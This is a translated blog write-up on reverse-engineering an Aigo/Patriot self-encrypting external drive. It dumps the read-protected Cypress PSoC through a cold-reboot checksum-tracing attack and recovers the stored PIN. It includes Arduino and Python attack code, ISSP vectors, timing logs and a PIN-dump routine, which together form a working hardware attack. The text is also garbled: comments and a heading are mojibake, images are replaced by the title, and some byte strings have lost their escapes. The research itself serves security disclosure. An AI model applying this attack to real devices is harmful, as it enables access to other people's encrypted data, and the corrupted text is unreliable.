Reversing and hacking Aigo self-encrypting external HDD. Part 2: Dumping the Cypress PSoC

This is the second and final part of the article about hacking external self-encrypting drives. I remind you that a colleague recently brought me a Patriot (Aigo) SK8671 hard drive, and I decided to reverse it, and now I'm sharing what happened. Before reading further, be sure to check out first part Article.

4. We start to dump from the internal PSoC flash drive
5. ISSP protocol
– 5.1. What is ISSP
– 5.2. Demystification of vectors
– 5.3. Communication with PSoC
– 5.4. Identification of on-chip registers
– 5.5. Security bits
6. First (failed) attack: ROMX
7. Second Attack: Cold Reboot Tracing
– 7.1. Implementation
– 7.2. Reading the result
– 7.3. Flash binary reconstruction
– 7.4. Finding the storage address of the pincode
– 7.5. We remove the dump of block No. 126
– 7.6. PIN code recovery
8. What's next?
9. Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅

Reversing and hacking Aigo self-encrypting external HDD. Part 2: Dumping the Cypress PSoC


4. We start to dump from the internal PSoC flash drive

So, everything points to (as we established in [first part]()) that the pincode is stored in the flash bowels of the PSoC. Therefore, we need to read these flash bowels. Front of necessary work:

  • take control of "communication" with the microcontroller;
  • find a way to check if this "communication" is protected from reading from the outside;
  • find a way to bypass the protection.

There are two places where it makes sense to look for a valid pincode:

  • internal flash memory;
  • SRAM, where the pincode can be stored to compare it with the pincode entered by the user.

Looking ahead, I’ll note that I still managed to dump the internal PSoC flash drive - bypassing its protection system, through a hardware cold boot tracing attack - after reversing the undocumented features of the ISSP protocol. This allowed me to directly dump the actual pincode.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Final program code:

5. ISSP protocol

5.1. What is ISSP

"Communicating" with a microcontroller can mean anything from "vendor to vendor" to interacting using a serial protocol (such as ICSP for Microchip's PIC).

Cypress has its own proprietary protocol for this, called ISSP (in-system serial programming protocol), which is partly described in technical specification. US7185162 patent also gives some information. There is also an OpenSource counterpart called HSSP (we'll use it a little later). ISSP works like this:

  • restart PSoC;
  • output a magic number to the serial data leg of this PSoC; to enter the external programming mode;
  • send commands that are long bit strings called "vectors".

The ISSP documentation defines these vectors for only a handful of commands:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (3V and 5V options)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111 where dddddddd=block #
  • BULK ERASE
  • PROGRAM BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1 where DDDDDDDD = data out, aaaaaa = address (6 bits)
  • WRITE-BYTE: 10010aaaaaadddddddd111 where dddddddd = data in, aaaaaa = address (6 bits)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, where DDDDDDDDDDDDDDDD = data out: device checksum
  • ERASE BLOCK

For example, a vector for Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

All vectors have the same length: 22 bits. The HSSP documentation has some additional information on ISSP: "ISSP vector is nothing more than a bit sequence, which is a set of instructions."

5.2. Demystification of vectors

Let's figure out what's going on here. Initially, I assumed that these same vectors were raw versions of M8C instructions, but after checking this hypothesis, I found that the opcodes of the operations did not match.

Then I googled the above vector and came across here it is a study where the author, while not diving into the details, provides some practical clues: β€œEach instruction starts with three bits that correspond to one of four mnemonics (read from RAM, write to RAM, read register, write register). Then comes the 8-bit address, followed by 8 bits of data (read or write), and finally three stop bits.

Then I managed to glean very useful information from the section "Supervisory ROM (SROM)" technical guidance. SROM is a hard-coded ROM, in PSoC, that provides services (in a similar fashion to Syscall) for program code running in user space:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

By comparing vector names with SROM functions, we can match the various operations supported by this protocol with the expected SROM parameters. Thanks to this, we can decode the first three bits of ISSP vectors:

  • 100
  • 101 => "rdmem"
  • 110
  • 111

However, a complete understanding of on-chip processes can only be obtained through direct communication with PSoC.

5.3. Communication with PSoC

Since Dirk of Petrautsky already ported Cypress' Arduino HSSP code, I used an Arduino Uno to connect to the ISSP header of the keyboard board.

Please note that in the course of my research, I changed Dirk's code quite a bit. You can find my modification on GitHub: here and the corresponding Python script for communicating with Arduino, in my repository cypress_psoc_tools.

So, using Arduino, I first used only "official" vectors to "communicate". I tried to read the internal ROM using the VERIFY command. As expected, I failed to do so. Probably because the read protection bits are activated inside the flash drive.

Then I created some of my simple vectors for writing and reading memory / registers. Please note that we can read the entire SROM, even though the flash drive is protected!

5.4. Identification of on-chip registers

Looking at the "disassembled" vectors, I found that the device uses undocumented registers (0xF8-0xFA) to specify M8C opcodes that are executed directly, bypassing security. This allowed me to run various opcodes such as "ADD", "MOV A, X", "PUSH", or "JMP". Thanks to them (by looking at the side effects they have on registers) I was able to determine which of the undocumented registers are actually ordinary registers (A, X, SP and PC).

As a result, the "disassembled" code generated by the HSSP_disas.rb tool looks like this (I added comments for clarity):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс Ρ„Π»Π°Π³ΠΎΠ²
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ для SSC
[9F 20 7C] wrmem KEY2, 0x03     # Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... Π΄ΠΎ 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ для Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для Π²Ρ‹Π·ΠΎΠ²Π° SSC
[DE 00 DC] wrreg A (f0), 0x06       # Π½ΠΎΠΌΠ΅Ρ€ "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # НСдокуммСнтированная опСрация: Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ внСшний ΠΎΠΏΠΊΠΎΠ΄

5.5. Security bits

At this stage, I can already communicate with PSoC, but I still do not have reliable information about the security bits of the flash drive. I was very surprised by the fact that Cypress does not give the user of the device any means to check if the protection is activated. I delved into Google to finally understand that the HSSP code provided by Cypress was updated after Dirk released his modification. And so! Here is a new vector:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # нСизвСстныС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹
[9F E0 1C] wrmem 0xFF, 0x00 # Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # Π½Π΅Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Using this vector (see read_security_data in psoc.py), we get all the security bits in SRAM at 0x80, where there are two bits per security block.

The result is depressing: everything is protected in the "disable external read and write" mode. Therefore, we can not only read anything from a flash drive, but also write anything (for example, to introduce a ROM dumper there). And the only way to disable protection is to completely erase the entire chip. πŸ™

6. First (failed) attack: ROMX

However, we can try the following trick: since we have the ability to execute arbitrary opcodes, why not execute ROMX, which is used to read flash memory? This approach has a good chance of success. Because the ReadBlock function that reads data from SROM (which is used by vectors) checks if it is called from ISSP. However, the ROMX opcode may presumably not have this check. So, here's the Python code (after adding a few helper classes to the Sish Arduino code):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Unfortunately this code doesn't work. πŸ™ Rather, it works, but we get our own opcodes (0x28 0x30 0x40) at the output! I do not think that the corresponding functionality of the device is an element of read protection. This is more like an engineering trick: when executing external opcodes, the ROM bus is redirected to a temporary buffer.

7. Second Attack: Cold Reboot Tracing

Since the ROMX trick did not work, I began to think about another variation of this trick - described in the publication "Shedding too much Light on a Microcontroller's Firmware Protection".

7.1. Implementation

The ISSP documentation provides the following vector for CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

This is essentially a call to the SROM function 0x07, as presented in the documentation (emphasis mine):

This is a checksum check function. It calculates a 16-bit checksum of the number of blocks specified by the user - in one flash bank, counting from zero. The BLOCKID parameter is used to pass the number of blocks to be used when calculating the checksum. A value of "1" will only calculate the checksum for block zero; whereas "0" will cause the total checksum of all 256 blocks of the flash bank to be calculated. A 16-bit checksum is returned via KEY1 and KEY2. In the KEY1 parameter, the lower 8 bits of the checksum are fixed, and in KEY2, the upper 8 bits. For devices with multiple flash banks, the checksum function is called for each individually. The number of the bank with which it will work is set by the FLS_PR1 register (by setting the bit in it corresponding to the target flash bank).

Note that this is the simplest checksum: the bytes are simply added one by one; no fancy CRC quirks. In addition, knowing that the set of registers in the M8C core is very small, I assumed that when calculating the checksum, intermediate values ​​would be fixed in the same variables that would eventually go to the output: KEY1 (0xF8) / KEY2 (0xF9).

So, in theory, my attack looks like this:

  1. We connect through ISSP.
  2. We start the calculation of the checksum, using the CHECKSUM-SETUP vector.
  3. We reboot the processor after a given time T.
  4. Read RAM to get the current C checksum.
  5. Repeat steps 3 and 4, each time slightly increasing T.
  6. We recover data from a flash drive by subtracting the previous checksum C from the current one.

However, there was a problem: the Initialize-1 vector, which we have to send after the reload, overwrites KEY1 and KEY2:

1100101000000000000000  # Магия, пСрСводящая PSoC Π² Ρ€Π΅ΠΆΠΈΠΌ программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ сумма пСрСзаписываСтся здСсь
[9F 20 7C] wrmem KEY2, 0x03 # и здСсь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

This code overwrites our precious checksum by calling Calibrate1 (SROM function 9)... Maybe we can just send the magic number (from the beginning of the above code) to enter programming mode and then read the SRAM? And yes, it works! The Arduino code that implements this attack is quite simple:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Read checkum_delay.
  2. Start checksum calculation (send_checksum_v).
  3. Wait for a specified period of time; given the following pitfalls:
    • I killed a lot of time until I found out that it turns out delayMicroseconds works correctly only with delays not exceeding 16383 Β΅s;
    • and then killed the same amount of time again, until he discovered that delayMicroseconds, if you pass 0 to it as input, does not work at all!
  4. Reload PSoC into programming mode (just sending a magic number, without sending initialization vectors).

Final Python code:

for delay in range(0, 150000):  # Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° Π² микросСкундах
    for i in range(0, 10):      # количСство считывания для ΠΊΠ°ΠΆΠ΄ΠΎΠΉΠΈΠ· Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ
        try:
            reset_psoc(quiet=True)  # ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΈ Π²Ρ…ΠΎΠ΄ Π² Ρ€Π΅ΠΆΠΈΠΌ программирования
            send_vectors()      # ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠ²
            ser.write("x85"+struct.pack(">I", delay)) # Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ сумму + ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ послС Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ
            res = ser.read(1)       # ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ€Ρ‚
            continue
        print "%05d %02X %02X %02X" % (delay,      # ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ RAM-Π±Π°ΠΉΡ‚Ρ‹
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

In a nutshell, what this code does:

  1. Reloads the PSoC (and sends it a magic number).
  2. Sends complete initialization vectors.
  3. Calls the Arduino function Cmnd_STK_START_CSUM (0x85) with a delay in microseconds as a parameter.
  4. Reads the checksum (0xF8 and 0xF9) and the undocumented register 0xF1.

This code is executed 10 times in 1 microsecond. 0xF1 is included here because it was the only register that changed when calculating the checksum. Perhaps this is some kind of temporary variable used by the arithmetic logic unit. Note the ugly hack I use to reset the Arduino using picocom when the Arduino stops beeping (I have no idea why).

7.2. Reading the result

The result of the Python script looks like this (simplified for readability):

DELAY F1 F8 F9  # F1 – Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹ΠΉ нСизвСстный рСгистр
                  # F8 младший Π±Π°ΠΉΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ суммы
                  # F9 ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ сумма сбрасываСтся Π² 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-ΠΉ Π±Π°ΠΉΡ‚: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-ΠΉ Π±Π°ΠΉΡ‚: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия Π½Π΅ имСю, Ρ‡Ρ‚ΠΎ здСсь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Π‘Π½ΠΎΠ²Π° E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Π₯ΠΌΠΌΠΌΠΌΠΌΠΌ
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Π’ΠΎΡ‚ ΠΎΠ½ ΠΆΠ΅ пСрСнос Π² ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚
00063 01 17 01
[...]
00075 CC 17 01  # Π˜Ρ‚Π°ΠΊ, 0x117-0xE7: 0x30

However, we have a problem: since we are operating with the actual checksum, the zero byte does not change the read value. However, since the entire calculation procedure (8192 bytes) takes 0,1478 seconds (with small deviations on each run), which is approximately 18,04 Β΅s per byte, we can use this time to check the checksum value at appropriate times. For the first runs, everything is read quite easily, since the duration of the computational procedure is always almost the same. However, the end of this dump is less accurate because the "minor timing deviations" on each run add up to become significant:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

That's 10 dumps for every microsecond delay. The total work time for dumping all 8192 bytes of a flash drive is about 48 hours.

7.3. Flash binary reconstruction

I have not yet finished writing the code that completely reconstructs the program code of the flash drive, taking into account all the deviations in time. However, I have already restored the beginning of this code. To make sure I did it correctly, I disassembled it using m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Looks quite real!

7.4. Finding the storage address of the pincode

Now that we can read the checksum at the times we need, we can easily check how and where it changes when we:

  • enter the wrong pincode;
  • change pincode.

First, to find a rough storage address, I took a checksum dump in 10ms increments after a reboot. Then I entered the wrong pincode and did the same.

The result was not very pleasant, because there were many changes. But in the end I managed to establish that the checksum changed somewhere between 120000 Β΅s and 140000 Β΅s of delay. But the "pincode" I found there was completely wrong - due to an artifact of the delayMicroseconds procedure, which does strange things when 0 is passed to it.

Then, after spending almost 3 hours, I remembered that the SROM's CheckSum system call takes an argument as input that specifies the number of blocks for the checksum! That. we can easily localize the storage address of the pincode and the counter of "invalid attempts" - with an accuracy of 64-byte block.

My initial runs gave the following output:

Reversing and hacking Aigo self-encrypting external HDD. Part 2: Dumping the Cypress PSoC

Then I changed the pincode from "123456" to "1234567" and got:

Reversing and hacking Aigo self-encrypting external HDD. Part 2: Dumping the Cypress PSoC

Thus, the pincode and the counter of invalid attempts seem to be stored in block #126.

7.5. We remove the dump of block No. 126

Block #126 should be somewhere around 125x64x18 = 144000Β΅s, from the start of the checksum calculation, in my full dump, and it looks quite plausible. Then, after manually filtering out numerous bad dumps (due to the accumulation of "minor time deviations"), I ended up with these bytes (at a delay of 145527 Β΅s):

Reversing and hacking Aigo self-encrypting external HDD. Part 2: Dumping the Cypress PSoC

It is quite obvious that the pincode is stored unencrypted! These values, of course, are not written in ASCII codes, but as it turned out, they reflect the readings taken from the capacitive keyboard.

Finally, I ran some more tests to find out where the bad attempt counter is stored. Here is the result:

Reversing and hacking Aigo self-encrypting external HDD. Part 2: Dumping the Cypress PSoC

0xFF means "15 attempts" and it decreases for every wrong attempt.

7.6. PIN code recovery

Here is my ugly code that puts it all together:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Here is the result of its execution:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hooray! Works!

Please note that the delay values ​​I used are most likely relevant for one specific PSoC - the one that I used.

8. What's next?

So, let's sum up on the PSoC side, in the context of our Aigo drive:

  • we can read SRAM even if it is read-protected;
  • we can bypass the read protection by using a cold-reboot trace attack and reading the pincode directly.

However, our attack has some shortcomings due to synchronization issues. It could be improved as follows:

  • write a utility to correctly decode the output that is obtained as a result of a cold reload tracing attack;
  • use FPGA gadgets to create more accurate time delays (or use Arduino hardware timers);
  • try another attack: enter a knowingly wrong pincode, reboot and dump RAM, hoping that the correct pincode will be saved in RAM, for comparison. However, this is not so easy to do on the Arduino, since the Arduino signal level is 5 volts, while the board we are examining works with 3,3 volt signals.

One interesting thing to try is to play around with the voltage level to bypass the read protection. If this approach worked, we would be able to get absolutely accurate data from the flash drive - instead of relying on a checksum read with inaccurate time delays.

Since SROM probably reads the guard bits via the ReadBlock system call, we could do the same as described on Dmitry Nedospasov's blog - a re-implementation of Chris Gerlinski's attack, announced at the conference Recon Brussels 2017.

Another fun thing that could be done is to grind the case off the chip: to dump SRAM, identify undocumented system calls and vulnerabilities.

9. Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅

So, the protection of this drive leaves much to be desired, because it uses a regular (not β€œhardened”) microcontroller to store the pincode ... Plus, I have not yet looked (yet) how things are with data encryption on this device!

What can be advised for Aigo? After analyzing a couple of models of encrypted HDD drives, in 2015 I made presentation on SyScan, which reviewed the security issues of several external HDDs and made recommendations on how they could be improved. πŸ™‚

I spent two weekends and several evenings on this study. A total of about 40 hours. Counting from the very beginning (when I opened the disc) to the end (pincode dump). That same 40 hours includes the time I spent writing this article. It was a very exciting journey.

Source: habr.com

Add a comment